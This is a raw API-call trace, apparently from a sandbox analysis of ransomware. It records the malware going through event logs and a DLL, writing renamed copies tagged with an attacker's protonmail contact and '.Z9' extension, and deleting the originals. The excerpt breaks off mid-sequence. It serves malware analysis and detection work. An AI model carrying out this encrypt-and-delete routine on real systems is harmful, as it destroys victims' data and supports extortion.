	[0083.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0083.253] lstrlenW (lpString=".zip") returned 4
	[0083.253] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.253] lstrlenW (lpString=".rar") returned 4
	[0083.253] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.253] lstrlenW (lpString=".bz2") returned 4
	[0083.253] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.253] lstrlenW (lpString=".7z") returned 3
	[0083.253] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0083.253] lstrlenW (lpString=".dbf") returned 4
	[0083.253] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0083.253] lstrlenW (lpString=".1cd") returned 4
	[0083.253] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0083.253] lstrlenW (lpString=".jpg") returned 4
	[0083.253] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.254] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0083.254] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4Operational.evtx") returned 52
	[0083.254] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0083.254] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=69632) returned 1
	[0083.254] CloseHandle (hObject=0x374) returned 1
	[0083.254] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 0x20
	[0083.254] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.254] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0083.254] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.254] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.254] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.257] GetLastError () returned 0x0
	[0083.257] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0083.260] WriteFile (in: hFile=0x364, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0083.261] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.261] WriteFile (in: hFile=0x364, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x13c, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x13c, lpOverlapped=0x0) returned 1
	[0083.262] SetEndOfFile (hFile=0x364) returned 1
	[0083.262] CloseHandle (hObject=0x364) returned 1
	[0083.643] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.643] SetEndOfFile (hFile=0x374) returned 1
	[0083.678] CloseHandle (hObject=0x374) returned 1
	[0083.678] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0083.679] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 1
	[0083.679] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0083.679] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0083.679] lstrlenW (lpString=".doc") returned 4
	[0083.679] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.679] lstrlenW (lpString=".docx") returned 5
	[0083.679] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.679] lstrlenW (lpString=".pdf") returned 4
	[0083.679] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.679] lstrlenW (lpString=".xls") returned 4
	[0083.679] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.679] lstrlenW (lpString=".xlsx") returned 5
	[0083.679] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.679] lstrlenW (lpString=".ppt") returned 4
	[0083.679] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.679] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0083.679] lstrlenW (lpString=".zip") returned 4
	[0083.679] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.679] lstrlenW (lpString=".rar") returned 4
	[0083.680] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.680] lstrlenW (lpString=".bz2") returned 4
	[0083.680] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.680] lstrlenW (lpString=".7z") returned 3
	[0083.680] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.680] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0083.680] lstrlenW (lpString=".dbf") returned 4
	[0083.680] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.680] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0083.680] lstrlenW (lpString=".1cd") returned 4
	[0083.680] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.680] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0083.680] lstrlenW (lpString=".jpg") returned 4
	[0083.680] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.680] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0083.680] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0083.680] lstrlenW (lpString=".doc") returned 4
	[0083.680] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.680] lstrlenW (lpString=".docx") returned 5
	[0083.680] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.680] lstrlenW (lpString=".pdf") returned 4
	[0083.680] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.680] lstrlenW (lpString=".xls") returned 4
	[0083.680] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.680] lstrlenW (lpString=".xlsx") returned 5
	[0083.680] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.680] lstrlenW (lpString=".ppt") returned 4
	[0083.680] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.680] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0083.680] lstrlenW (lpString=".zip") returned 4
	[0083.681] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.681] lstrlenW (lpString=".rar") returned 4
	[0083.681] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.681] lstrlenW (lpString=".bz2") returned 4
	[0083.681] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.681] lstrlenW (lpString=".7z") returned 3
	[0083.681] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.681] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0083.681] lstrlenW (lpString=".dbf") returned 4
	[0083.681] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.681] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0083.681] lstrlenW (lpString=".1cd") returned 4
	[0083.681] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.681] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0083.681] lstrlenW (lpString=".jpg") returned 4
	[0083.681] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.681] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0083.681] lstrlenW (lpString="Setup.evtx") returned 10
	[0083.681] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0083.681] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=69632) returned 1
	[0083.682] CloseHandle (hObject=0x374) returned 1
	[0083.682] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 0x20
	[0083.682] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.682] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0083.682] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.682] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.682] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.682] GetLastError () returned 0x0
	[0083.682] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0083.685] WriteFile (in: hFile=0x364, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0083.687] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.687] WriteFile (in: hFile=0x364, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0083.687] SetEndOfFile (hFile=0x364) returned 1
	[0083.687] CloseHandle (hObject=0x364) returned 1
	[0083.689] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.689] SetEndOfFile (hFile=0x374) returned 1
	[0083.691] CloseHandle (hObject=0x374) returned 1
	[0083.691] SetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0083.691] DeleteFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 1
	[0083.691] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0083.691] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0083.691] lstrlenW (lpString=".doc") returned 4
	[0083.691] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.691] lstrlenW (lpString=".docx") returned 5
	[0083.691] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.691] lstrlenW (lpString=".pdf") returned 4
	[0083.691] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.691] lstrlenW (lpString=".xls") returned 4
	[0083.691] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.692] lstrlenW (lpString=".xlsx") returned 5
	[0083.692] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.692] lstrlenW (lpString=".ppt") returned 4
	[0083.692] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.692] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0083.692] lstrlenW (lpString=".zip") returned 4
	[0083.692] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.692] lstrlenW (lpString=".rar") returned 4
	[0083.692] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.692] lstrlenW (lpString=".bz2") returned 4
	[0083.692] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.692] lstrlenW (lpString=".7z") returned 3
	[0083.692] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.692] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0083.692] lstrlenW (lpString=".dbf") returned 4
	[0083.692] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.692] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0083.692] lstrlenW (lpString=".1cd") returned 4
	[0083.692] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.692] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0083.692] lstrlenW (lpString=".jpg") returned 4
	[0083.692] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.692] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0083.692] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0083.692] lstrlenW (lpString=".doc") returned 4
	[0083.692] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.692] lstrlenW (lpString=".docx") returned 5
	[0083.692] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.692] lstrlenW (lpString=".pdf") returned 4
	[0083.692] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.693] lstrlenW (lpString=".xls") returned 4
	[0083.693] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.693] lstrlenW (lpString=".xlsx") returned 5
	[0083.693] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.693] lstrlenW (lpString=".ppt") returned 4
	[0083.693] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.693] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0083.693] lstrlenW (lpString=".zip") returned 4
	[0083.693] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.693] lstrlenW (lpString=".rar") returned 4
	[0083.693] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.693] lstrlenW (lpString=".bz2") returned 4
	[0083.693] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.693] lstrlenW (lpString=".7z") returned 3
	[0083.693] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.693] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0083.693] lstrlenW (lpString=".dbf") returned 4
	[0083.693] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.693] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0083.693] lstrlenW (lpString=".1cd") returned 4
	[0083.693] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.693] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0083.693] lstrlenW (lpString=".jpg") returned 4
	[0083.693] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.694] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0083.694] lstrlenW (lpString="System.evtx") returned 11
	[0083.694] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0083.694] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=1118208) returned 1
	[0083.694] CloseHandle (hObject=0x374) returned 1
	[0083.694] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 0x20
	[0083.695] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\system.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.695] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0083.695] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.695] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.695] CreateFileW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\system.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.696] GetLastError () returned 0x0
	[0083.696] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0083.717] WriteFile (in: hFile=0x364, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0084.193] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x11010, lpOverlapped=0x0) returned 1
	[0084.202] WriteFile (in: hFile=0x364, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x11020, lpOverlapped=0x0) returned 1
	[0084.207] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.207] WriteFile (in: hFile=0x364, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xea, lpOverlapped=0x0) returned 1
	[0084.207] SetEndOfFile (hFile=0x364) returned 1
	[0084.207] CloseHandle (hObject=0x364) returned 1
	[0084.666] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.667] SetEndOfFile (hFile=0x374) returned 1
	[0084.669] CloseHandle (hObject=0x374) returned 1
	[0084.669] SetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0084.670] DeleteFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 1
	[0084.670] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0084.670] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0084.670] lstrlenW (lpString=".doc") returned 4
	[0084.670] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.670] lstrlenW (lpString=".docx") returned 5
	[0084.670] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.670] lstrlenW (lpString=".pdf") returned 4
	[0084.670] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.670] lstrlenW (lpString=".xls") returned 4
	[0084.670] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.670] lstrlenW (lpString=".xlsx") returned 5
	[0084.670] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.670] lstrlenW (lpString=".ppt") returned 4
	[0084.670] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.670] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0084.670] lstrlenW (lpString=".zip") returned 4
	[0084.670] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.670] lstrlenW (lpString=".rar") returned 4
	[0084.670] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.670] lstrlenW (lpString=".bz2") returned 4
	[0084.670] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.670] lstrlenW (lpString=".7z") returned 3
	[0084.670] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.671] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0084.671] lstrlenW (lpString=".dbf") returned 4
	[0084.671] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.671] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0084.671] lstrlenW (lpString=".1cd") returned 4
	[0084.671] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.671] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0084.671] lstrlenW (lpString=".jpg") returned 4
	[0084.671] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.671] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0084.671] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0084.671] lstrlenW (lpString=".doc") returned 4
	[0084.671] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.671] lstrlenW (lpString=".docx") returned 5
	[0084.671] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.671] lstrlenW (lpString=".pdf") returned 4
	[0084.671] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.671] lstrlenW (lpString=".xls") returned 4
	[0084.671] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.671] lstrlenW (lpString=".xlsx") returned 5
	[0084.671] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.671] lstrlenW (lpString=".ppt") returned 4
	[0084.671] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.671] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0084.671] lstrlenW (lpString=".zip") returned 4
	[0084.671] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.671] lstrlenW (lpString=".rar") returned 4
	[0084.671] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.671] lstrlenW (lpString=".bz2") returned 4
	[0084.671] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.671] lstrlenW (lpString=".7z") returned 3
	[0084.671] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.672] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0084.672] lstrlenW (lpString=".dbf") returned 4
	[0084.672] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.672] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0084.672] lstrlenW (lpString=".1cd") returned 4
	[0084.672] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.672] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0084.672] lstrlenW (lpString=".jpg") returned 4
	[0084.672] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.672] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0084.672] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31
	[0084.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0084.672] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=19648) returned 1
	[0084.672] CloseHandle (hObject=0x374) returned 1
	[0084.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x20
	[0084.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
